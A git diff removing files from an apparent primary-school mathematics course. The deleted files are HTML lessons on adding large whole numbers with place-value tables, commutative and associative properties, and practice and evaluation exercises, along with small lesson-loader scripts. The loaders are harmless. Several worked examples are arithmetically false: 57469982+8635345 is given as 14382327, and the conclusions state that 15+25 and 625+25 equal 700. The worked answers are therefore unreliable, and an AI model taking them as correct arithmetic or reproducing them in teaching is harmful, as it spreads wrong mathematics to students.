-    </td>
-    <td style="vertical-align: top;">
-     3
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     5
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     2
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     6
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     3
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     7
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td style="vertical-align: top;">
-     2
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     6
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     1
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     2
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     3
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     5
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-   </tr>
-  </tbody>
- </table>
- <br />
- Are you able to give other examples?
- <br />
- <br />
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a02/a.txt b/Save_Mathematics/P6/map611m04/map611m04a02/a.txt
deleted file mode 100644
index a870f58..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a02/a.txt
+++ /dev/null
@@ -1,524 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example 1: Add 921,631+65,368
- <br />
- <br />
- Adding numbers according to their place values.
-</p>
-<table style="width: 564px; height: 210px;" border="1">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    Millions
-    <br />
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    Thousands
-    <br />
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    Units
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Hs
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Ts
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Os
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    +
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Add: 1+8=9, Write 9 under ones place values.
- <br />
- Add: 3+6=9, Write 9 under tens place values.
- <br />
- Add: 6+3=9, Write 9 under hundreds place values.
- <br />
- Add 1+5=6, Write 6 under Thousands place values .
- <br />
- Add 2+6=8, Write 8 under Ten Thousands place values.
- <br />
- Now bring down 9 under Hundred Thousands place values.
- <br />
- <br />
- Example 2: Add 561 845 785+357 144 804
- <br />
- <br />
-</p>
-&nbsp;
-<table style="width: 515px; height: 119px;" border="1">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    Millions
-    <br />
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    Thousands
-    <br />
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    Units
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Hs
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Ts
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Os
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    + 3
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    7
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Add: 5+4=9, Write 9 under ones place values.
- <br />
- Add: 8+0=8, Write 8 under tens place values.
- <br />
- Add: 7+8=15, Write 5 under hundreds and take 1 to ones thousands place values.
- <br />
- Add: 1+5+4=10, Write 0 under thousands and take 1 to ten thousands place values.
- <br />
- Add: 1+4+4=9, Write 9 under ten thousands place values.
- <br />
- Add: 8+1=9, Write 9 under hundred thousands ones place values.
- <br />
- Add: 6+5=11, Write 1 under ten millions and take 1 to hundred millions place values.
- <br />
- Add: 1+5+3=9, Write 9 under hundred millions place values.
- <br />
- <br />
- Notes: Adding whole numbers, starting from ones place value. When the result has two digits number, write the last digit in the corresponding place value and carry the remaining in the next place value.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Adding vertically
- </span>
- <br />
- <br />
- Example 1: 9 837 421+683 549=
- <br />
- 111 1
- <br />
- 9837421
- <br />
- <span style="text-decoration: underline;">
-  + 683549
- </span>
- <br />
- 10520970
- <br />
- <br />
- Example 2: 57469982+8635345=
- <br />
- <br />
- 1 111
- <br />
- 57469982
- <br />
- <span style="text-decoration: underline;">
-  + 8635345
- </span>
- <br />
- 14382327
- <br />
- <br />
- When you add whole numbers vertically, you have to arrange them according to their place value from right to left.
- <br />
- <br />
- Example 3: What are the answers of the following numbers:
- <br />
- a. 15+25=40
- <br />
- b. 25+15=40
- <br />
- <br />
- Conclusion: 15+25=25+15=700.
- <br />
- <br />
- Example 4:
- <br />
- a. 625+75=700.
- <br />
- b. 75+625=700.
- <br />
- <br />
- Conclusion: 625+25=25+625=700.
- <br />
- <br />
- Notes: When adding numbers, if you change their positions(places), the answer remains the same.
- <br />
- therefore a+b=b+a.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice:This property is called commutativity of addition.
- </span>
- <br />
- <br />
- Example5: What are the answers of the following numbers:
- <br />
- <br />
- a. 10+15+5=30
- <br />
- b. (10+15)+5=30
- <br />
- c.10+(15+5)=30
- <br />
- <br />
- <span style="font-weight: bold;">
-  Conclusion:
- </span>
- 10+15+5=(10+15)+5=10+(15+5)=30
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes:
- </span>
- Among the three numbers, when you regroup 2 numbers altogether, the answer is the same.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a02/description.py b/Save_Mathematics/P6/map611m04/map611m04a02/description.py
deleted file mode 100644
index edda0a3..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m04a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m04/map611m04a02/lesson.js b/Save_Mathematics/P6/map611m04/map611m04a02/lesson.js
deleted file mode 100644
index 678ee7f..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m04/map611m04a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m04/map611m04a02/source.txt b/Save_Mathematics/P6/map611m04/map611m04a02/source.txt
deleted file mode 100644
index a870f58..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a02/source.txt
+++ /dev/null
@@ -1,524 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example 1: Add 921,631+65,368
- <br />
- <br />
- Adding numbers according to their place values.
-</p>
-<table style="width: 564px; height: 210px;" border="1">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    Millions
-    <br />
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    Thousands
-    <br />
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    Units
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Hs
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Ts
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Os
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    +
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Add: 1+8=9, Write 9 under ones place values.
- <br />
- Add: 3+6=9, Write 9 under tens place values.
- <br />
- Add: 6+3=9, Write 9 under hundreds place values.
- <br />
- Add 1+5=6, Write 6 under Thousands place values .
- <br />
- Add 2+6=8, Write 8 under Ten Thousands place values.
- <br />
- Now bring down 9 under Hundred Thousands place values.
- <br />
- <br />
- Example 2: Add 561 845 785+357 144 804
- <br />
- <br />
-</p>
-&nbsp;
-<table style="width: 515px; height: 119px;" border="1">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    Millions
-    <br />
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    Thousands
-    <br />
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    Units
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Hs
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Ts
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    Os
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    + 3
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    7
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Add: 5+4=9, Write 9 under ones place values.
- <br />
- Add: 8+0=8, Write 8 under tens place values.
- <br />
- Add: 7+8=15, Write 5 under hundreds and take 1 to ones thousands place values.
- <br />
- Add: 1+5+4=10, Write 0 under thousands and take 1 to ten thousands place values.
- <br />
- Add: 1+4+4=9, Write 9 under ten thousands place values.
- <br />
- Add: 8+1=9, Write 9 under hundred thousands ones place values.
- <br />
- Add: 6+5=11, Write 1 under ten millions and take 1 to hundred millions place values.
- <br />
- Add: 1+5+3=9, Write 9 under hundred millions place values.
- <br />
- <br />
- Notes: Adding whole numbers, starting from ones place value. When the result has two digits number, write the last digit in the corresponding place value and carry the remaining in the next place value.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Adding vertically
- </span>
- <br />
- <br />
- Example 1: 9 837 421+683 549=
- <br />
- 111 1
- <br />
- 9837421
- <br />
- <span style="text-decoration: underline;">
-  + 683549
- </span>
- <br />
- 10520970
- <br />
- <br />
- Example 2: 57469982+8635345=
- <br />
- <br />
- 1 111
- <br />
- 57469982
- <br />
- <span style="text-decoration: underline;">
-  + 8635345
- </span>
- <br />
- 14382327
- <br />
- <br />
- When you add whole numbers vertically, you have to arrange them according to their place value from right to left.
- <br />
- <br />
- Example 3: What are the answers of the following numbers:
- <br />
- a. 15+25=40
- <br />
- b. 25+15=40
- <br />
- <br />
- Conclusion: 15+25=25+15=700.
- <br />
- <br />
- Example 4:
- <br />
- a. 625+75=700.
- <br />
- b. 75+625=700.
- <br />
- <br />
- Conclusion: 625+25=25+625=700.
- <br />
- <br />
- Notes: When adding numbers, if you change their positions(places), the answer remains the same.
- <br />
- therefore a+b=b+a.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice:This property is called commutativity of addition.
- </span>
- <br />
- <br />
- Example5: What are the answers of the following numbers:
- <br />
- <br />
- a. 10+15+5=30
- <br />
- b. (10+15)+5=30
- <br />
- c.10+(15+5)=30
- <br />
- <br />
- <span style="font-weight: bold;">
-  Conclusion:
- </span>
- 10+15+5=(10+15)+5=10+(15+5)=30
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes:
- </span>
- Among the three numbers, when you regroup 2 numbers altogether, the answer is the same.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a03/a.txt b/Save_Mathematics/P6/map611m04/map611m04a03/a.txt
deleted file mode 100644
index 8322022..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a03/a.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- <strong>
-  Independent Practice
- </strong>
-</p>
-<p>
- Add the following numbers:
- <br />
- <br />
- 1. 389464
- <br />
- <span style="text-decoration: underline;">
-  + 234897
- </span>
- <br />
- <br />
- 2. 7384219
- <br />
- <span style="text-decoration: underline;">
-  + 578934
- </span>
- <br />
- <br />
- 3. With the commutative property, complete the following numbers:
- <br />
- <br />
- a. 768+99=.....+768
- <br />
- b. 123+59=59+......
- <br />
- <br />
- 4. Apply the associative property of addition to complete the missing number of the following numbers:
- <br />
- <br />
- a. 11+(9+8)=(....+9)+8
- <br />
- b. (24+14)+7=24+(14+.....)
- <br />
- c. ....+(5+20)=(13+5)+20
- <br style="text-decoration: underline;" />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a03/description.py b/Save_Mathematics/P6/map611m04/map611m04a03/description.py
deleted file mode 100644
index b2e5a39..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m04a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m04/map611m04a03/lesson.js b/Save_Mathematics/P6/map611m04/map611m04a03/lesson.js
deleted file mode 100644
index 75909b1..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m04/map611m04a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m04/map611m04a03/source.txt b/Save_Mathematics/P6/map611m04/map611m04a03/source.txt
deleted file mode 100644
index 8322022..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a03/source.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- <strong>
-  Independent Practice
- </strong>
-</p>
-<p>
- Add the following numbers:
- <br />
- <br />
- 1. 389464
- <br />
- <span style="text-decoration: underline;">
-  + 234897
- </span>
- <br />
- <br />
- 2. 7384219
- <br />
- <span style="text-decoration: underline;">
-  + 578934
- </span>
- <br />
- <br />
- 3. With the commutative property, complete the following numbers:
- <br />
- <br />
- a. 768+99=.....+768
- <br />
- b. 123+59=59+......
- <br />
- <br />
- 4. Apply the associative property of addition to complete the missing number of the following numbers:
- <br />
- <br />
- a. 11+(9+8)=(....+9)+8
- <br />
- b. (24+14)+7=24+(14+.....)
- <br />
- c. ....+(5+20)=(13+5)+20
- <br style="text-decoration: underline;" />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a04/a.txt b/Save_Mathematics/P6/map611m04/map611m04a04/a.txt
deleted file mode 100644
index d392e6d..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a04/a.txt
+++ /dev/null
@@ -1,66 +0,0 @@
-<p>
- <strong>
-  EVALUATION.
- </strong>
-</p>
-<p>
- 1) Add the following numbers:
- <br />
- <br />
- a. 625970221
- <br />
- <span style="text-decoration: underline;">
-  + 4708409
- </span>
- <br />
- <br />
- b. 426768716
- <br />
- <span style="text-decoration: underline;">
-  + 86737923
- </span>
- <br />
- <br />
- c. 9796881
- <br />
- <span style="text-decoration: underline;">
-  + 7468267
- </span>
- <br />
- <br />
- d. 86799712
- <br />
- <span style="text-decoration: underline;">
-  + 1097626
- </span>
- <br />
- <br />
- 2)Apply the commutative property to complete with the missing number the following numbers:
- <br />
- <br />
- a. 46+76=76+....
- <br />
- b. 86+23=.....+86
- <br />
- c. 79+.....=54+79
- <br />
- d. .....+66=66+34
- <br />
- <br />
- 3) Apply the associative property to complete with the missing number the following numbers:
- <br />
- <br />
- a. (3+10)+4=.....+(10+4)
- <br />
- b. 4+(....+12)=(4+8)+12
- <br />
- c. (56+48)+53=.....+(48+53)
- <br />
- d. 63+(93+.....)=(63+93)+15
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a04/description.py b/Save_Mathematics/P6/map611m04/map611m04a04/description.py
deleted file mode 100644
index cb81dc3..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m04a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m04/map611m04a04/lesson.js b/Save_Mathematics/P6/map611m04/map611m04a04/lesson.js
deleted file mode 100644
index a8b05de..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m04/map611m04a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m04/map611m04a04/source.txt b/Save_Mathematics/P6/map611m04/map611m04a04/source.txt
deleted file mode 100644
index d392e6d..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a04/source.txt
+++ /dev/null
@@ -1,66 +0,0 @@
-<p>
- <strong>
-  EVALUATION.
- </strong>
-</p>
-<p>
- 1) Add the following numbers:
- <br />
- <br />
- a. 625970221
- <br />
- <span style="text-decoration: underline;">
-  + 4708409
- </span>
- <br />
- <br />
- b. 426768716
- <br />
- <span style="text-decoration: underline;">
-  + 86737923
- </span>
- <br />
- <br />
- c. 9796881
- <br />
- <span style="text-decoration: underline;">
-  + 7468267
- </span>
- <br />
- <br />
- d. 86799712
- <br />
- <span style="text-decoration: underline;">
-  + 1097626
- </span>
- <br />
- <br />
- 2)Apply the commutative property to complete with the missing number the following numbers:
- <br />
- <br />
- a. 46+76=76+....
- <br />
- b. 86+23=.....+86
- <br />
- c. 79+.....=54+79
- <br />
- d. .....+66=66+34
- <br />
- <br />
- 3) Apply the associative property to complete with the missing number the following numbers:
- <br />
- <br />
- a. (3+10)+4=.....+(10+4)
- <br />
- b. 4+(....+12)=(4+8)+12
- <br />
- c. (56+48)+53=.....+(48+53)
- <br />
- d. 63+(93+.....)=(63+93)+15
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a05/a.txt b/Save_Mathematics/P6/map611m04/map611m04a05/a.txt
deleted file mode 100644
index 2633f94..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a05/a.txt
+++ /dev/null
@@ -1,269 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- Fill the following numbers in the table.
- <br />
- a. 54,316
- <br />
- b. 678,311
- <br />
- c. 213,329
- <br />
- d. 635,428
- <br />
- e. 745,332,459
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Millions
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Thousands
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Units
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
